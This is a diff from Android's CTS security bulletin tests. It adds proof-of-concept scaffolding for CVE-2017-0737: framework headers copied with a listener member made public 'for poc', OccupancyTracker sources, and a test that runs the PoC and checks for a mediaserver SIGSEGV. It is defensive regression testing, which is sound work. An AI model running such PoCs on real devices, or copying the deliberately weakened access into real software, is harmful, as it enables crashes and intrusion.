+class IGraphicBufferAlloc;
+class IProducerListener;
+
+class BufferQueueCore : public virtual RefBase {
+
+ friend class BufferQueueProducer;
+ friend class BufferQueueConsumer;
+
+public:
+ enum { INVALID_BUFFER_SLOT = BufferItem::INVALID_BUFFER_SLOT };
+ enum { MAX_MAX_ACQUIRED_BUFFERS = BufferQueueDefs::NUM_BUFFER_SLOTS - 2 };
+
+ enum {
+ CURRENTLY_CONNECTED_API = -1,
+
+ NO_CONNECTED_API = 0,
+ };
+
+ typedef Vector<BufferItem> Fifo;
+
+ BufferQueueCore(const sp<IGraphicBufferAlloc>& allocator = NULL);
+ virtual ~BufferQueueCore();
+
+ // made public for poc
+ sp<IConsumerListener> mConsumerListener;
+
+private:
+ void dump(String8& result, const char* prefix) const;
+
+ int getMinUndequeuedBufferCountLocked() const;
+
+ int getMinMaxBufferCountLocked() const;
+
+ int getMaxBufferCountLocked() const;
+
+ int getMaxBufferCountLocked(bool asyncMode,
+ bool dequeueBufferCannotBlock, int maxBufferCount) const;
+
+ void clearBufferSlotLocked(int slot);
+
+ void freeAllBuffersLocked();
+
+ void discardFreeBuffersLocked();
+
+ bool adjustAvailableSlotsLocked(int delta);
+
+ void waitWhileAllocatingLocked() const;
+
+ sp<IGraphicBufferAlloc> mAllocator;
+
+ mutable Mutex mMutex;
+
+ bool mIsAbandoned;
+
+ bool mConsumerControlledByApp;
+
+ String8 mConsumerName;
+
+ uint32_t mConsumerUsageBits;
+
+ int mConnectedApi;
+ pid_t mConnectedPid;
+
+ sp<IProducerListener> mLinkedToDeath;
+
+ sp<IProducerListener> mConnectedProducerListener;
+
+ BufferQueueDefs::SlotsType mSlots;
+
+ Fifo mQueue;
+
+ std::set<int> mFreeSlots;
+
+ std::list<int> mFreeBuffers;
+
+ std::list<int> mUnusedSlots;
+
+ std::set<int> mActiveBuffers;
+
+ mutable Condition mDequeueCondition;
+
+ bool mDequeueBufferCannotBlock;
+
+ PixelFormat mDefaultBufferFormat;
+
+ uint32_t mDefaultWidth;
+
+ uint32_t mDefaultHeight;
+
+ android_dataspace mDefaultBufferDataSpace;
+
+ int mMaxBufferCount;
+
+ int mMaxAcquiredBufferCount;
+
+ int mMaxDequeuedBufferCount;
+
+ bool mBufferHasBeenQueued;
+
+ uint64_t mFrameCounter;
+
+ uint32_t mTransformHint;
+
+ sp<NativeHandle> mSidebandStream;
+
+ bool mIsAllocating;
+
+ mutable Condition mIsAllocatingCondition;
+
+ bool mAllowAllocation;
+
+ uint64_t mBufferAge;
+
+ uint32_t mGenerationNumber;
+
+ bool mAsyncMode;
+
+ bool mSharedBufferMode;
+
+ bool mAutoRefresh;
+
+ int mSharedBufferSlot;
+
+ struct SharedBufferCache {
+ SharedBufferCache(Rect _crop, uint32_t _transform, int _scalingMode,
+ android_dataspace _dataspace)
+ : crop(_crop),
+ transform(_transform),
+ scalingMode(_scalingMode),
+ dataspace(_dataspace) {
+ };
+
+ Rect crop;
+ uint32_t transform;
+ uint32_t scalingMode;
+ android_dataspace dataspace;
+ } mSharedBufferCache;
+
+ int mLastQueuedSlot;
+
+ OccupancyTracker mOccupancyTracker;
+
+ const uint64_t mUniqueId;
+
+};
+
+}
+
+#endif
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0737/poc_FrameTimestamps.h b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0737/poc_FrameTimestamps.h
new file mode 100644
index 0000000..f071f77
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0737/poc_FrameTimestamps.h
@@ -0,0 +1,45 @@
+/*
+ * Copyright 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef ANDROID_GUI_FRAMETIMESTAMPS_H
+#define ANDROID_GUI_FRAMETIMESTAMPS_H
+
+#include <utils/Timers.h>
+#include <utils/Flattenable.h>
+
+namespace android {
+
+struct FrameTimestamps : public LightFlattenablePod<FrameTimestamps> {
+ FrameTimestamps() :
+ frameNumber(0),
+ postedTime(0),
+ acquireTime(0),
+ refreshStartTime(0),
+ glCompositionDoneTime(0),
+ displayRetireTime(0),
+ releaseTime(0) {}
+
+ uint64_t frameNumber;
+ nsecs_t postedTime;
+ nsecs_t acquireTime;
+ nsecs_t refreshStartTime;
+ nsecs_t glCompositionDoneTime;
+ nsecs_t displayRetireTime;
+ nsecs_t releaseTime;
+};
+
+}
+#endif
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0737/poc_OccupancyTracker.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0737/poc_OccupancyTracker.cpp
new file mode 100644
index 0000000..3712742
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0737/poc_OccupancyTracker.cpp
@@ -0,0 +1,113 @@
+/*
+ * Copyright 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <binder/Parcel.h>
+#include <utils/String8.h>
+#include <utils/Trace.h>
+
+#include <inttypes.h>
+
+#include "poc_OccupancyTracker.h"
+
+namespace android {
+
+status_t OccupancyTracker::Segment::writeToParcel(Parcel* parcel) const {
+ status_t result = parcel->writeInt64(totalTime);
+ if (result != OK) {
+ return result;
+ }
+ result = parcel->writeUint64(static_cast<uint64_t>(numFrames));
+ if (result != OK) {
+ return result;
+ }
+ result = parcel->writeFloat(occupancyAverage);
+ if (result != OK) {
+ return result;
+ }
+ return parcel->writeBool(usedThirdBuffer);
+}
+
+status_t OccupancyTracker::Segment::readFromParcel(const Parcel* parcel) {
+ status_t result = parcel->readInt64(&totalTime);
+ if (result != OK) {
+ return result;
+ }
+ uint64_t uintNumFrames = 0;
+ result = parcel->readUint64(&uintNumFrames);
+ if (result != OK) {
+ return result;
+ }
+ numFrames = static_cast<size_t>(uintNumFrames);
+ result = parcel->readFloat(&occupancyAverage);
+ if (result != OK) {
+ return result;
+ }
+ return parcel->readBool(&usedThirdBuffer);
+}
+
+void OccupancyTracker::registerOccupancyChange(size_t occupancy) {
+ ATRACE_CALL();
+ nsecs_t now = systemTime();
+ nsecs_t delta = now - mLastOccupancyChangeTime;
+ if (delta > NEW_SEGMENT_DELAY) {
+ recordPendingSegment();
+ } else {
+ mPendingSegment.totalTime += delta;
+ if (mPendingSegment.mOccupancyTimes.count(mLastOccupancy)) {
+ mPendingSegment.mOccupancyTimes[mLastOccupancy] += delta;
+ } else {
+ mPendingSegment.mOccupancyTimes[mLastOccupancy] = delta;
+ }
+ }
+ if (occupancy > mLastOccupancy) {
+ ++mPendingSegment.numFrames;
+ }
+ mLastOccupancyChangeTime = now;
+ mLastOccupancy = occupancy;
+}
+
+std::vector<OccupancyTracker::Segment> OccupancyTracker::getSegmentHistory(
+ bool forceFlush) {
+ if (forceFlush) {
+ recordPendingSegment();
+ }
+ std::vector<Segment> segments(mSegmentHistory.cbegin(),
+ mSegmentHistory.cend());
+ mSegmentHistory.clear();
+ return segments;
+}
+
+void OccupancyTracker::recordPendingSegment() {
+ if (mPendingSegment.numFrames > LONG_SEGMENT_THRESHOLD) {
+ float occupancyAverage = 0.0f;
+ bool usedThirdBuffer = false;
+ for (const auto& timePair : mPendingSegment.mOccupancyTimes) {
+ size_t occupancy = timePair.first;
+ float timeRatio = static_cast<float>(timePair.second) /
+ mPendingSegment.totalTime;
+ occupancyAverage += timeRatio * occupancy;
+ usedThirdBuffer = usedThirdBuffer || (occupancy > 1);
+ }
+ mSegmentHistory.push_front({mPendingSegment.totalTime,
+ mPendingSegment.numFrames, occupancyAverage, usedThirdBuffer});
+ if (mSegmentHistory.size() > MAX_HISTORY_SIZE) {
+ mSegmentHistory.pop_back();
+ }
+ }
+ mPendingSegment.clear();
+}
+
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0737/poc_OccupancyTracker.h b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0737/poc_OccupancyTracker.h
new file mode 100644
index 0000000..0c3dd62
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0737/poc_OccupancyTracker.h
@@ -0,0 +1,97 @@
+/*
+ * Copyright 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef ANDROID_GUI_OCCUPANCYTRACKER_H
+#define ANDROID_GUI_OCCUPANCYTRACKER_H
+
+#include <binder/Parcelable.h>
+
+#include <utils/Timers.h>
+
+#include <deque>
+#include <unordered_map>
+
+namespace android {
+
+class String8;
+
+class OccupancyTracker
+{
+public:
+ OccupancyTracker()
+ : mPendingSegment(),
+ mSegmentHistory(),
+ mLastOccupancy(0),
+ mLastOccupancyChangeTime(0) {}
+
+ struct Segment : public Parcelable {
+ Segment()
+ : totalTime(0),
+ numFrames(0),
+ occupancyAverage(0.0f),
+ usedThirdBuffer(false) {}
+
+ Segment(nsecs_t totalTime, size_t numFrames, float occupancyAverage,
+ bool usedThirdBuffer)
+ : totalTime(totalTime),
+ numFrames(numFrames),
+ occupancyAverage(occupancyAverage),
+ usedThirdBuffer(usedThirdBuffer) {}
+
+ virtual status_t writeToParcel(Parcel* parcel) const override;
+ virtual status_t readFromParcel(const Parcel* parcel) override;
+
+ nsecs_t totalTime;
+ size_t numFrames;
+
+ float occupancyAverage;
+
+ bool usedThirdBuffer;
+ };
+
+ void registerOccupancyChange(size_t occupancy);
+ std::vector<Segment> getSegmentHistory(bool forceFlush);
+
+private:
+ static constexpr size_t MAX_HISTORY_SIZE = 10;
+ static constexpr nsecs_t NEW_SEGMENT_DELAY = ms2ns(100);
+ static constexpr size_t LONG_SEGMENT_THRESHOLD = 3;
+
+ struct PendingSegment {
+ void clear() {
+ totalTime = 0;
+ numFrames = 0;
+ mOccupancyTimes.clear();
+ }
+
+ nsecs_t totalTime;
+ size_t numFrames;
+ std::unordered_map<size_t, nsecs_t> mOccupancyTimes;
+ };
+
+ void recordPendingSegment();
+
+ PendingSegment mPendingSegment;
+ std::deque<Segment> mSegmentHistory;
+
+ size_t mLastOccupancy;
+ nsecs_t mLastOccupancyChangeTime;
+
+};
+
+}
+
+#endif
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_08.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_08.java
index f8fddbc..e722ea7 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_08.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_08.java
@@ -37,4 +37,16 @@
TimeUnit.SECONDS.sleep(50);
}
- }
+ /**
+ * b/37563942
+ */
+ @SecurityTest
+ public void testPocCVE_2017_0737() throws Exception {
+ AdbUtils.runCommandLine("logcat -c" , getDevice());
+ AdbUtils.runPocNoOutput("CVE-2017-0737", getDevice(), 60);
+ String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
+ assertNotMatchesMultiLine(
+ "Fatal signal 11 \\(SIGSEGV\\)" +
+ ".*>>> /system/bin/mediaserver <<<", logcatOut);
+ }
+}